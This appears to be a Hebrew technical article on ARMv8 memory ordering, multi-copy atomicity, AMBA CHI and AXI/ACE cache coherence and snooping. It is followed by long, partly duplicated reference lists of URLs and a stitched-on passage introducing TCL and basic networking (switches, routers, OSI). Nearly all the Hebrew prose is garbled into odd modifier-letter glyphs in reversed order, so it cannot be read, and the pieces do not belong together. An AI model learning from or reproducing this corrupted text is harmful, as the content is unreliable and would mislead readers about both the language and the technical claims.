multi-copy atomicity˭˩˪ . ˧ˡ˧ ˪˰ ˢ˲˯ˣˣ˸ˢ˷ ˸ˣ˟˩˶ˣˬˢ ,non-multi-copy atomicity  ˸˶ˣ˦˵˦˧˩˶˞˟

ARMv8 .˵˲˧˯ ˞ˣˢ˷ ˸˲˯ˣˮˢ ˸ˣ˷˧ˬˠˢ ˸˞ ˢ˵˧ˡ˴ˢ ˞˪ 

˟ ˸˲˯ˣˮ ˢ˧˰˟-non-multi-copy atomicity˪ ˢ˟˧˸˩ ˪˷ ˸ˣ˦˷˲˸ˢ ˶˷˲˞ˬ ˞ˣˢ˷ ˢˡ˟ˣ˰ˢ ˞˧ˢ ,-thread-

 ,˶ˬˣ˪˩ .ˢ˞ˣ˪ˬ˟ ˢ˰˴ˣ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞˟ ˸ˬˡˣ˵ ˢ˟˧˸˩˷ ˧ˮ˲˪ ˫˧˶˥˞ ˫˧ ˸˶˥ˣ˞ˬ ˢ˟˧˸˩ ˣ˟˷ ˟˴ˬ ˭˩˸˧˧

.˸ˣ˧˟˵˰ ˶˯ˣ˥ ˶˴ˣ˧˷ ˢˬ ,ˢˬ˪˷ˣˢ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˸ˬˡˣ˵ ˢ˟˧˸˩˷ ˧ˮ˲˪ ˰˴ˣ˟˸ 

 ˫ˢ˷ ˫˧˪ˡˣˬ˟multi-copy atomicity ˣˬ˩ ˫˧ˮ˥˟ˬ ,ˢˬˠˣˡ˪ .˸ˣˬ˧˧˵˸ˬ ˭ˮ˧˞ ˢ˪˞˩ ˸ˣ˧˰˟ ,IRIW+addrs x-

WRC+addrs  ˫˧˪ˡˣˬ˷ ˭ˣˣ˧˩ˬ ,˫˧˧˵˸ˢ˪ ˫˧˪ˣ˩˧ ˞˪multi-copy atomicity ˧˥˧˦˟ˬ ˪˷ ˧ˮˡ˲˵ ˶˸ˣ˧ ˶ˡ˯ ˫

.˸˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˥˧˦˟ˢ˪ ˧ˡ˩ ˫˧ˬˣ˯˥ˬ ˸ˣ˶˟˦˴ˢ˪ ˨˶ˣ˴ ˭˧˞˷ ˨˩ ,˸ˣ˞˧˶˵ˣ ˸ˣ˟˧˸˩ 
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AMBA CHI  

 ˪˷ ˸ˣ˞˯˶ˠ˟AMBA4 ACE x-CHI Issue A˨ˣ˸˪ ˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ ˶˧˟˰ˢ˪ ˫˧˪ˣ˩˧ ˫˧ˡ˟˰ˬ ,  ˢ˪ˣ˰˲ .˸˩˶˰ˬˢ

 ˸˵˲˯ˬ ˞˧ˢ ,˶ˬˣ˪˩ ,˸˩˶˰ˬ˟ ˷˶ˡˮ˷ ˧˲˩ ˫˧˶ˬ˷ˮ ˸ˣ˧˴˵ˤˮ˶˦˟ ˢ˧˧˲˴ˢˣ ˶ˡ˯ˢ˷ ˥˧˦˟ˢ˪ ˸˶˷˲˞ˬ ˣˤ

.˫˧˲˸˸˷ˬˢ ˫˧˟˧˩˶ˢ ˪˩ ˧ˡ˧ ˪˰ ˢ˲˴ˮ˷ ˧˲˩ ˭ˢ˪˷ ˶ˡ˯ˢˣ ˸ˣ˧˴˵ˤˮ˶˦ˢ ˰ˣ˴˧˟ ˭˲ˣ˞ ˧˟ˠ˪ ˸ˣ˧ˣ˟˶˰ 

 ˪˷ ˢˮˣ˩˸ ˸ˣ˪˰˟ ˸ˣ˩˶˰ˬ˟ ˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ ˫˧˴˧˲ˬ ˶˷˞˩Multi-Copy Atomicity˪˰ , ˢˡ˧˶˧ ˷˥˶˸ˢ˪ ˢ˪ˣ

 ˫˧˶˴ˣ˧ ˣ˪˞ ˫˧ˬˣ˯˥ˬ˷ ˨˩ˬ ˰˟ˣˮ ˶˟ˡˢ .˸˩˶˰ˬˢ ˧˰ˣ˴˧˟˟hazards  ˦˞ˬ˷ ˢˬ ,˸ˣ˧˴˵ˤˮ˶˦ˢ ˭˧˟ ˫˧˶˸ˣ˧ˬ

.˸˩˶˰ˬˢ ˸˪ˣ˰˲ ˸˞ 

 ˣˬ˩ ,˫˧˷ˡ˥ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲˟AMBA CHI 5 ˸ˣ˩˶˰ˬ˟ .˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ˟ ˢ˩˧ˬ˸ˢ ˢˬ˴ˬˣ˴ ˣ˞ ˢ˶˯ˣˢ ,

Armv8 ˭ˢ˷ ,Multi-Copy Atomic .˶ˡ˯ˢ ˪˰ ˢ˶˧ˬ˷ ˨˶ˣ˴˪ ˫˧ˬˣ˯˥ˬ ˪˷ ˢ˴˲ˢ ˡˣ˰ ˸˷˶ˡˮ ˞˪ ,

 ˭˲ˣ˞˟ ˸ˣ˶ˬ˷ˮ ˶ˡ˯ˢ ˪˰ ˸ˣ˧ˣ˟˶˰ˢˣ ,˸ˣ˧˴˵ˤˮ˶˦ˢ ˶ˣˡ˧˯ ˭˲ˣ˞ ˪˰ ˫˧˰˧˲˷ˬ ˫ˮ˧˞ ˫˧ˬˣ˯˥ˬˢ ,ˣˤ˩ ˸˩˶˰ˬ˟

 ˫˧ˬˣ˯˥ˬˢ ˫˞ ˢ˪˞˷˟ ˸ˣ˪˸ ˞˪˪ ,˧˰˟˦.˞˪ ˣ˞ ˫˧˴˲ˣˬ 

˩ ˸˶ˡˠˣˬ ˸˩˶˰ˬ-Multi-Copy Atomicity :˫˧˞˟ˢ ˫˧˞ˮ˸ˢ ˧ˮ˷ ˫˧ˬ˧˧˵˸ˬ ˫˞ 

мΦ ) ˫˧˟˧˩˶ˢ ˪˩ ˧ˡ˧ ˪˰ ˸˧˲˴ˮ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩agents ˶ˡ˯˟ ˫˧˪ˡ˟ˢ ˞˪˪ ,˶ˡ˯ ˣ˸ˣ˞˟ (

.ˢ˧˧˲˴ˢ 

нΦ  ˫˞agent ˢ ˪˩ ,˭ˣ˶˩˧ˤ˟ ˫˧ˣ˯ˬ ˫ˣ˵˧ˬ˪ ˢ˟˧˸˩ ˢ˞ˣ˶ ˡ˥˞-agents ˫ˢ ˫ˠ ˣ˞˶˧ ˸˩˶˰ˬ˟ ˫˧˶˥˞ˢ  ˸˞

.˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩ˢ 

 ˭ˢ˷ ˭ˣˣ˧˩ˬ ,˸ˣ˟˧˸˩ˢ ˭˧˟ ˶ˡ˯ˣ ˸ˣ˧˟˵˰ ˪˰ ˢ˶˧ˬ˷ ˨˶ˣ˴˪ ˫˧ˬˣ˯˥ˬ ˪˷ ˢ˴˲ˢ˟ ˨˶ˣ˴ ˭˧˞ ,ˢ˪˞˩ ˸ˣ˩˶˰ˬ˟

.˭˸˪ˣ˰˲ ˫˴˰ˬ ˧ˬˣ˦˞ ˶ˡ˯ ˪˰ ˸ˣ˶ˬˣ˷ 

 ˧˪ˣ˵ˣ˦ˣ˶˲AXI/ACE  

 ˧˪ˣ˵ˣ˦ˣ˶˲˟AXI/ACE) ˸ˬˡ˵ˣˬ ˢ˟˧˸˩ ˸˟ˣˠ˸ ˵˲˯ˬ ˫˧˧ˮ˧˟ ˟˧˩˶ ˶˷˞˩ ,early write response ,(

˪ ˸˟˧˧˥ ˢ˟˧˸˩ˢ ˪˷ ˢ˞˴ˣ˸ˢ˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ ˢˮ˧˞ ˸˩˶˰ˬ ˫˞ .˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˢ˧ˣ˪ˠ ˸ˣ˧ˢ

 ˪˷ ˪ˡˣˬ˟ ˸˪˰ˣ˲ ˞˧ˢ˷ ˭˩˸˧˧ ,˸ˣˬˡ˵ˣˬ ˢ˟˧˸˩ ˸ˣ˟ˣˠ˸ ˸ˮ˸ˣˮMulti-Copy Atomicity ˪˩˷ ˶ˬˣ˪˩ ,

ˣ˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˸ˣˮ˧ˬˤ ˸ˣ˷˰ˮ ˸ˣ˟˧˸˩ˢ-.˸˧ˮˬˤ 

˫˧ˬˣ˵˧ˬ˪ ˢ˷˧ˠ Inner Shareable x-Outer Shareable  

 ˫˧ˬˣ˵˧ˬ ˫˰ ˸˩˶˰ˬ˟Inner Shareable x-Outer Shareable˵˸ˣ˰ ˸˟ˣ˶ˬ ˸ˣ˧ˬˣ˦˞ ˸˷˶ˡˮ ,) ˫˧Multi-

copy atomicity ˸˟ˣˠ˸ ,˶ˬˣ˪˩ .(snoop  ˷˶ˡˮˢ ˱ˣ˸˧˷ˢ ˫ˣ˥˸˟ ˫˧ˡ˟˰ˬˢ ˪˩ ˶˷˞˩ ˵˶ ˪˟˵˸˸ ˢ˟˧˸˩˪

 ˸˟ˣˠ˸ ˸˪˟˵ ˸˰˟ ,˱˯ˣˮ˟ .ˢ˟˧˸˩ˢ ˸˞ ˣ˞˶snoop .ˢ˟˧˸˩˪ ˱ˣ˷˥ ˸ˣ˧ˢ˪ ˨˧˶˴ ˶˟˩ ˨˧ˣ˷ˬˢ ˡ˟˰ˬˢ ,

 ˪˷ ˢ˟ˣˠ˸ˢ ˳ˣ˶˰˟ ˡ˧ˢ ˸˴˧˥˪˩ ˸˶ˡˠˣˬ ˢ˧˧˲˴ˢ ˸ˡˣ˵ˮsnoop ˳ˣ˶˰˷ ,˭˧˧˴˪ ˟ˣ˷˥ .data snoop  ˣˮ˧˞

 ˪˷ ˸˟ˣ˸˩ˢ ˳ˣ˶˰˟ ˫˧ˬˣ˯˥ˬ˪ ˢ˷˧˶ˡ ˭˧˞˷ ˨˩ ,ˢ˧˧˲˴ˢ ˸ˡˣ˵ˮ ˸˶ˡˠˢ˪ ˷ˬ˷ˬsnoop. 

https://en.wikipedia.org/wiki/Hazard_%28computer_architecture%29
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˫ˣ˩˧˯  

 ˪˷ ˸˧˪˪˩ ˢ˶˧˵˯˟ ˣˮ˪˥˸ˢ ,ˡˣ˟˩ˢ ˪˩ ˤ˞ ˭˞˩˪ ˡ˰ ˫˸˰ˠˢ ˫˞cache  ˨˷ˬˢ˟ ,˫˧˧ˮ˶ˡˣˬ ˫˧˟˷˥ˬ˟

 ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˢ˶˧ˬ˷ ,˫˧˧˯˧˯˟ˢ ˫˧ˠ˷ˣˬ˪ ˣˮ˲˷˥ˮ ,˰˯ˬˢ-  .˸ˣ˟˧˪ ˸ˣ˟ˣ˶ˬ ˸ˣ˩˶˰ˬ˟ ˧˦˧˶˵ ˞˷ˣˮ

ˢ ˪ˣˢ˧ˮ ˨˧˪ˢ˸˟ ˸ˬ˧ˣ˯ˬ ˢ˦˧˪˷ ˸ˣ˶˷˲˞ˬ ˸ˣˮˣ˷ ˸ˣ˶ˣ˦˵˦˧˩˶˞ ˡ˴˧˩ ˣˮ˶˟˯ˢ-cache ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˣˮ˰ˠˮˣ ,

˷˞˶ ˡ˰˴ ˢ˧ˢ ˢˤ ˪˩ .˪˰ˣ˲˟ ˣ˪˞ ˸ˣˮˣ˶˵˰ ˫˧ˬ˷˧˧ˬ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧ˮ˞ .˸ˣ˧˪˧˟˵ˬˢ ˫˪ˣ˰˪ ˯ˮ˩ˢ˪ ˧ˡ˩ ˭ˣ

 ˢˣˣ˵ˬˣ˶˞˷˧˸˷ .ˡˣˬ˪˪ ˢˬ ˢ˟˶ˢ ˡˣ˰ ˣˮ˪ ˷˧ˣ ˢ˪˥˸ˢˢ ˵˶ ˸˞ˤ ˧˩ ˨˷ˬˢ˪ ˧˸˧˞ 

 

˶˟˥ˬˢ ˪˰ 

˟ ˪˧˧˥ ,˪˞˩˧ˬ ˧ˮ˞ ˭нн ˪˰ ˷ˠˡ˟ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˟ˢˣ˞ ˡˣ˞ˬ ,˫˧˟˷˥ˬˣ ˢ˧ˠˣ˪ˣˮ˩˦˟ ˭˧˧ˮ˰˸ˬ˷Linux 

Kernel .˫˧ˡ˟˰ˬ ˸ˣ˶ˣ˦˵˦˧˩˶˞ˣ 

 ˞ˣ˴ˬ˪ ˣ˪˩ˣ˸ ˫˧˧ˡ˧˸˰ ˫˧˶ˬ˞ˬˣ ˢˤˢ ˶ˬ˞ˬˢ ˪˷ ˫˧˶ˬˣ˥ˢ ˸˞˧˪˷ ˠˣ˪˟˟. 

ˢ ˭ˣ˟˷˥ ˨˶ˡ ˶˷˵ ˧˸˧˞ ˶ˣ˴˧˪ ˫˧ˮˬˤˣˬ-linkedin ˧˪˷. 

 

˰ˡ˧ˬ ˸ˣ˶ˣ˵ˬ 

¶ https://en.wikipedia.org/wiki/Cache_placement_policies  

¶ https://lwn.net/Articles/255364/   

¶ https://en.wikipedia.org/wiki/CPU_cache  

¶ https://lwn.net/Articles/252125/   

¶ https://developer.arm.com/documentation/den0042/a/Caches  

¶ https://stackoverflow.com/questions/25947962/cacheline-aligned-in-smp-for-structure-in-

the-linux-kernel  

¶ https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-

memory-hierarchy/Introduction-to-caches?lang=en  

¶ https://documentation-service.arm.com/static/65fdad3c1bc22b03bca90781?token=  

¶ https://inria.hal.science/hal-02509910/document  

¶ https://mariokartwii.com/armv8  

¶ https://en.wikipedia.org/wiki/False_sharing  

https://smichaelshal.github.io/he
https://www.linkedin.com/in/michael-shalitin-460a00269/
https://en.wikipedia.org/wiki/Cache_placement_policies
https://lwn.net/Articles/255364/
https://en.wikipedia.org/wiki/CPU_cache
https://lwn.net/Articles/252125/
https://developer.arm.com/documentation/den0042/a/Caches
https://stackoverflow.com/questions/25947962/cacheline-aligned-in-smp-for-structure-in-the-linux-kernel
https://stackoverflow.com/questions/25947962/cacheline-aligned-in-smp-for-structure-in-the-linux-kernel
https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-memory-hierarchy/Introduction-to-caches?lang=en
https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-memory-hierarchy/Introduction-to-caches?lang=en
https://documentation-service.arm.com/static/65fdad3c1bc22b03bca90781?token=
https://inria.hal.science/hal-02509910/document
https://mariokartwii.com/armv8
https://en.wikipedia.org/wiki/False_sharing
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¶ https://developer.arm.com/documentation/den0024/a/Caches/Point-of-coherency-and-

unification  

¶ https://en.wikipedia.org/wiki/Cache_coherence  

¶ https://pages.cs.wisc.edu/~markhill/papers/primer2020_2nd_edition.pdf  

¶ https://developer.arm.com/documentation/den0024/a/Multi -core-processors/Multi-core-

cache-coherency-within-a-cluster?lang=en  

¶ https://www.amd.com/content/dam/amd/en/documents/processor-tech-docs/programmer-

references/24593.pdf  

¶ http://infolab.stanford.edu/pub/cstr/reports/csl/tr/95/685/CSL-TR-95-685.pdf  

¶ https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/LWNLinuxMM/StrongMo

del.html  

¶ https://developer.arm.com/documentation/den0024/a/Caches/Cache-maintenance  

¶ https://developer.arm.com/documentation/ihi0050/latest/   

¶ https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-

memory-hierarchy/Implications-of-caches-for-programmers?lang=en  

¶ https://community.arm.com/arm-community-blogs/b/architectures-and-processors-

blog/posts/memory-access-ordering---an-introduction  

¶ https://www.linkedin.com/advice/3/what-trade-offs-between-snooping-directory-based  

¶ https://developer.arm.com/documentation/102407/0100/Introduction-to-CHI  

¶ https://developer.arm.com/documentation/ihi0022/e/   

¶ https://developer.arm.com/documentation/100236/0100/functional-description/cache-

behavior-and-cache-protection/coherency-between-data-caches-with-the-moesi-protocol  

¶ https://www.linkedin.com/advice/1/what-key-features-differences-amba5-chi-amba4  

¶ https://developer.arm.com/documentation/102407/0100/Transaction-flows  

¶ https://developer.arm.com/documentation/102407/0100/Other-protocol-changes-and-

extensions  

¶ https://www.cl.cam.ac.uk/~pes20/armv8-mca/armv8-mca-draft.pdf  

¶ https://developer.arm.com/documentation/102336/0100/Memory-barriers  

¶ http://www 0.cs.ucl.ac.uk/staff/j.alglave/papers/toplas21.pdf  

¶ https://github.com/paulmckrcu/perfbook  

¶ https://developer.arm.com/documentation/ka002179/latest/   

 

https://developer.arm.com/documentation/den0024/a/Caches/Point-of-coherency-and-unification
https://developer.arm.com/documentation/den0024/a/Caches/Point-of-coherency-and-unification
https://en.wikipedia.org/wiki/Cache_coherence
https://pages.cs.wisc.edu/~markhill/papers/primer2020_2nd_edition.pdf
https://developer.arm.com/documentation/den0024/a/Multi-core-processors/Multi-core-cache-coherency-within-a-cluster?lang=en
https://developer.arm.com/documentation/den0024/a/Multi-core-processors/Multi-core-cache-coherency-within-a-cluster?lang=en
https://www.amd.com/content/dam/amd/en/documents/processor-tech-docs/programmer-references/24593.pdf
https://www.amd.com/content/dam/amd/en/documents/processor-tech-docs/programmer-references/24593.pdf
http://infolab.stanford.edu/pub/cstr/reports/csl/tr/95/685/CSL-TR-95-685.pdf
https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/LWNLinuxMM/StrongModel.html
https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/LWNLinuxMM/StrongModel.html
https://developer.arm.com/documentation/den0024/a/Caches/Cache-maintenance
https://developer.arm.com/documentation/ihi0050/latest/
https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-memory-hierarchy/Implications-of-caches-for-programmers?lang=en
https://developer.arm.com/documentation/107565/0101/Memory-system/Caches-and-memory-hierarchy/Implications-of-caches-for-programmers?lang=en
https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/memory-access-ordering---an-introduction
https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/memory-access-ordering---an-introduction
https://www.linkedin.com/advice/3/what-trade-offs-between-snooping-directory-based
https://developer.arm.com/documentation/102407/0100/Introduction-to-CHI
https://developer.arm.com/documentation/ihi0022/e/
https://developer.arm.com/documentation/100236/0100/functional-description/cache-behavior-and-cache-protection/coherency-between-data-caches-with-the-moesi-protocol
https://developer.arm.com/documentation/100236/0100/functional-description/cache-behavior-and-cache-protection/coherency-between-data-caches-with-the-moesi-protocol
https://www.linkedin.com/advice/1/what-key-features-differences-amba5-chi-amba4
https://developer.arm.com/documentation/102407/0100/Transaction-flows
https://developer.arm.com/documentation/102407/0100/Other-protocol-changes-and-extensions
https://developer.arm.com/documentation/102407/0100/Other-protocol-changes-and-extensions
https://www.cl.cam.ac.uk/~pes20/armv8-mca/armv8-mca-draft.pdf
https://developer.arm.com/documentation/102336/0100/Memory-barriers
http://www0.cs.ucl.ac.uk/staff/j.alglave/papers/toplas21.pdf
https://github.com/paulmckrcu/perfbook
https://developer.arm.com/documentation/ka002179/latest/
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ˢ ˧˵ˬ˰ˬ˪-TCL 

ˢ˧˲ˣ˯ ˧˵˯˟ˣ˵˧˟˷ 

 

ˢˬˡ˵ˢ 

ˡ˴˧˩ ˴˧˲ ˶ˢˮ˟ˣˬ ˨ˣ˸˟ ˧˟˧˩˶ s˸˶ˣ˷˵˸ ˫˧˴ˣ˲ˮˢ ˫˪ˣ˰˟ ˪ˣ˩˧ ˨ˣ˲ˢ˪ ˧˪˩˪ ˶˷˲˞ˬ˷ ˪˴ˮ˪ ˸˞ ˫˧˟˧˩˶ˢ 

ˣ˪˞ˢ ˱ˣ˷˥˪ˣ ˸ˣ˷˪ˣ˥ ˸ˣ˧˦˧˶˵Κ 

˭˩ ΦΦΦ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˰˧˸˲ˬ ˷˧˷ ˣˢ˷ˬ ˢˤ˩ Σ˪˟˞ ˢ˟˶ˢ ˫˧˷ˮ˞ ˧˞˷ ˫˰˲ ˣ˰ˠˮ ˫ˣ˥˸˟ ˸ˣ˸˷˶ˢ ˧˟˧˩˶ˣ 

˸˶ˣ˷˵˸ˢ Σ˫˧˶˧˩ˬ ˸˞ ˵˷ˬˬˢ ˧˦˪ˣ˲˧ˡˢ ˫˧˟˧˩˶˟ ˫˰ ˸˩˶˰ˬ ˢ˪˰˲ˢ ˢ˴ˣ˲ˮˢ ˶˸ˣ˧˟ ˫˪ˣ˰˟ ˪˷ ˧˟˧˩˶ 

˸˶ˣ˷˵˸ ˸˷˶˟ Σ˶˷˲˞ˬ˷ ˳˧˶ˢ˪ ˫˧˦˲˧˶˵˯ ˸ˣˬ˧˷ˬˣ ˪˰ ˟˧˩˶ˢ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ Φ˵˷ˬˬˢ ˢˤˢ ˞ˣˢ tclsh 

π ˵˷ˬˬ ˢ˴˶ˢ ˫˧˦˲˧˶˵˯˪ ˸˲˷˟ ύTool Command Language όTCL Φˢ˟˷˥ˬ˟ ˢˮˣ˷˞˶ Σ˸˲˷ 

ˢ˫˧˦˲˧˶˵˯ ˣˤˢ ˢ˪ˣ˩˧ ˰ˬ˷ˢ˪ ˢˬ˧ˬ˸ Σ˪˟˞ ˦˪˥ˢ˟ ˢ˪ˣ˩˧ ˫ˠ ˸ˣ˧ˢ˪ ˸˪˴ˣˮˬ ˢ˰˶˪ Σ˫˞ ˣˢ˷˧ˬ ˞˪ ˢ˷˶ˣˬ 

˪˟˵ˬ ˢ˧˪˞ ˢ˷˧ˠ Φ˫ˣ˧ˢ ˭˧˟ˮ ˢˬ˪ ˢˤ ˧˶˷˲˞ Σ˨˧˞ ˫˧˷ˣ˰ ˸˞ ˢˤ ˪˧˟˷˟ˣ ˢˬΚ ˣ˞ˣ˟ ˪˧˥˸ˮ ˢ˪˥˸ˢˬΗ 

 

ˢˮ˟ˬ ˸˷˶ˢ 

˧˟˧˩˶ ˸˶ˣ˷˵˸ ˫ˢ ˫˧˟˧˩˶ˬˢ s˫˧˧ˮˣ˧˥ ˫˧ˮˣ˟˷ ˸˞ ˸ˣ˸˷˶ˢΦ ˸ˣ˸˷˶ˢˬ ˸ˣˮ˦˵ˢ ˡ˰ˣ ˸ˣ˸˷˶˪ ˸ˣ˪ˣˡˠˢ 

˶˸ˣ˧˟ Σ˫ˢ˧˪˰ ˸˯˯ˣ˟ˬ ˪˩ ˢ˶ˣ˟˰˸ˢ ˸˶˟˰ˢˣ ˰ˡ˧ˬ ˭˧˟ ˸ˣˡ˧˥˧ ˢ˴˵. ˫˸ˣ˰˴ˬ˞˟ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˥ˣ˪˷˪ 

˫˧˴˟˵κ˸ˣ˰ˡˣˢκ˫˧˪˧˧ˬκ˪˟˵˪ ˰ˡ˧ˬ ˪ˠˣˠˬ ˡˣ˰ˣ ˭ˣˬˢ ˸ˣ˪ˣ˰˲ ˸ˣ˰˴˟˸ˬ˷ ˸˷˶˟Φ 

 ˸ˣ˸˷˶ˢ ˸ˣ˧ˣˮ˟ ˨˧˞ Κ 

˸˧˷˞˶ ˪˩ Σ˟ˣ˷˥ ˭˧˟ˢ˪ ˢ˧˩˶˶˧ˢˢ˷ ˸˧˯˥˧ ˢ˦ˣ˷˲ Φ˷˧ ˸ˣˡ˧˥˧ ˢ˴˵ ˸ˣˡˠˣ˞ˬ˷ ˸˷˶˪ ˸˧ˬ˧ˮ˲ ˤ˞ˣ ˸˷˶˪ 

˸˧ˮˣ˴˧˥ Φ˨˧˞ ˢˤ ˡ˟ˣ˰ ˪˰ˣ˲˟Κ ˷˧ ˣˮ˪ ˣˡˬ˰ ˸ˢ˴˵ ύ˫˧˟˷˥ˬ Σ˫˧ˮˣ˲˪˦ Σ˸ˣ˯˲ˡˬ ˡˣ˰ˣ όΦΦΦ˸ˣ˟˷ˣ˧˷ ˸˥˞ ˡ˧˪ 

ˢ˧ˮ˷ˢ Σ˨ˣ˸˟ LAN ύLocal Area Network ό˸ˣ˶˟ˣ˥ˬˣ ˪πSwitchΦ Switch ˣˮ˧ˢ ˟˧˩˶ ˸˶ˣ˷˵˸, ˞˴ˬˮˢ 

ˢ˟˩˷˟ ˢ˧ˮ˷ ˪˷ ˪ˡˣˬ sπOSI ύ˪ˡˣˬ ˸˶ˣ˷˵˸ ˟˩˶ˣˬˢ ˬπт ˸ˣ˟˩˷ ˸ˣ˶˞˸ˬˢ ˸˞ ˧˟˪˷ ˶˟˰ˬˢ ˪˷ ˰ˡ˧ˬˢ 

˸˷˶˟ Σόˣ˸˶˦ˬ ˸ˣˣˢ˪ ˶ˣ˟˧˥ ˭˧˟ ˸ˣˡˬ˰ˢ ˨˶ˣ˴˪ ˶ˣ˷˲˞ ˸˶˟˰ˢ ˰ˡ˧ˬ ˭ˢ˧ˮ˧˟ Φ 

˶˟˰ˬ ˪πLAN ,˧˸ˮ˧˧˴˷ ˭ˮ˷˧ ˡˣ˰ ˸ˣ˸˷˶ ˸ˣˮ˦˵ ˸ˣ˶˟ˣ˥ˬ˷ ˪˞ sπSwitch Σ˪˪˩ˣ sπ-Switch˫˧ ˫˧˶˟ˣ˥ˬ 

˟˧˩˶˪ ˢ˟˩˷ ˸˧˷˧˪˷ π Router ΦRouter ˞ˣˢ ˟˧˩˶ ˣ˸˶˦ˬ˷ ˶˟˥˪ ˭˧˟ ˸ˣ˸˷˶ˢ LAN ˪˞ ˸˷˶ˢ ˢ˪ˣˡˠˢ 

˶˸ˣ˧ Σ˸˧˞˶˵ˮˢ WAN ύWide Area Network Φό˱˯ˣˮ˟ ˪πWAN ˡ˥˞ Σ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˡˣ˰ ˢˬ˩ -WAN˫˧ Σ

˱ˣ˯˟˷ ˫˧˶˴ˣ˧ ˸ˣ˷˧˧ ύ˸˷˶ όˢ˪ˣˡˠ ˸˧˞˶˵ˮˢ Intranet Σ˪˟˞ ˢˤ ˶˟˩ ˡˣ˞ˬ ˧˪˞ˣˡ˧˟˧ˡˮ˧˞ ˪˩˪ ˸˷˶ ˸˷˶ˣ Φ 
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ˤ˞ ˶ˣ˴˧˵˟ π ˢˬ ˷˧ ˣˮ˪Κ 

˸ˣˡˬ˰ ˢ˴˵ π ˸ˣˡ˧˥˧ ˸ˣ˧˞ˬ˴˰ ˸˷˶˟ Σ˭ˡ˧˵˲˸˷ ˪ˣ˩˧ ˰ˣˮ˪ ˭˧˟ ˸ˣˣˢ˪ ˦ˣ˷˲ ˟˷˥ˬ ˧ˡ˶˷ˬ ˪˧ˠ˶ Σ˭˧˟˪ 

˭ˣ˲˪˦ ˧ˮˣˠ˶˞ Σ˸˯˲ˡˬ ˣ˪˧˲˞ˣ ˸˶˷Φ 

ˠ˸ˬ ύSwitchκ˳˧ˣˣ˯ όπ ˟˧˩˶ ˸˷˶ ˡˠ˞ˬˢ ˭˧˟ ˸ˣˡˬ˰ ˢ˴˵ ˪LAN- Φˣˡ˧˵˲˸ ˡˣˬ˪˪ ˪˰ ˸ˣˡˬ˰ˢ ˢ˴˵ ύ˸˶˧˴˧ 

˸ˣ˞˪˟˦ CAM ΣARP ˡˣ˰ˣ ό˶˷˲˞˪ˣ ˸˶˟˰ˢ ˰ˡ˧ˬ ˸˶ˣ˷˵˸ˣ ˭ˢ˧ˮ˧˟ Φˢ˟˩˷ˢ ˢ˟˷ ˪˰ˣ˲ ˠ˸ˬˢ ˞˧ˢ sˢ˟˩˷ 

ˢˢ˧ˮ˷ ˪ˡˣˬ˟ sπOSIΦ 

˟˸ˮ ύRouterκ˶˦ˣ˞˶ όπ ˟˧˩˶ ˸˷˶ ˶˟˥ˬ˷ ˭˧˟ ˫˧ˠ˸ˬ ύ˪˩ˣ ˢˬ ˫ˢ˧˸˥˸˷ ό˨ˣ˸˪ sπWAN Φ˸˶˦ˬ ˶˦ˣ˞˶ˢ 

˞˧ˢ ˶˷˲˞˪ ˟ˣ˸˧ˮ ˸˷˶˟ ˪ˢˮ˪ˣ ˣ˸ˣ˞ ˸ˣ˰˴ˬ˞˟ ˸ˣ˞˪˟˦ˢ ˟ˣ˸˧ˮ Φˢ˟˩˷ˢ ˢ˟˷ ˞ˣˢ ˪˰ˣ˲ ˞˧ˢ ˢ˟˩˷ˢ 

˸˧˷˧˪˷ˢ ˪ˡˣˬ˟ sπOSIΦ 

ˢˬ˪ ˢˤ ˧˦ˮˣˣ˪˶ ˣˮ˪ ˸˰ˡ˪ ˪˰ ˸ˣ˟˩˷ˢ OSIΚ 

˪ˡˣˬ sπOSI ˶˞˸ˬ ˸˞ ˶˟˰ˬ ˰ˡ˧ˬˢ ˧˲˪ ˢˮ˟ˬ ˧˩˶˶˧ˢ ˪˷ ˸˷˶ˢ Φ˶˟ˡˢ ˢˤˢ ˶˷˲˞ˬ ˣˮ˪ ˭˧˟ˢ˪ ˵ˬˣ˰˪ ˨˧˞ 

˸˷˶ˢ ˸˧˞˶ˮ ˸ˡ˟ˣ˰ˣ, ˨˧˞ˣ ˶˷˲˞ ˭ˮ˩˸˪ ˢ˸ˣ˞ ˢ˶ˣ˴˟ ˢ˪˧˰˧ ˢˮˣ˩ˮˣΦ 

 

ˣ˧˷˩˰ ˣˮ˟ˢ˷˩ ˢˬ xʕ ˸˷˶ ˨˧˞ˣ ˞˧ˢ ˢ˧ˣˮ˟ Σˮˢ˷˰ ˢ˴˧˲˵ ˢ˶˧ˢˬ ˢˬ˪ ˢˤ ˫˴˰˟ TCL Σˤ˞ˣ ˶˷˵ˮ ˭˧˟ ˧ˮ˷ 

˫˧˶˟ˡˢΦ 

 

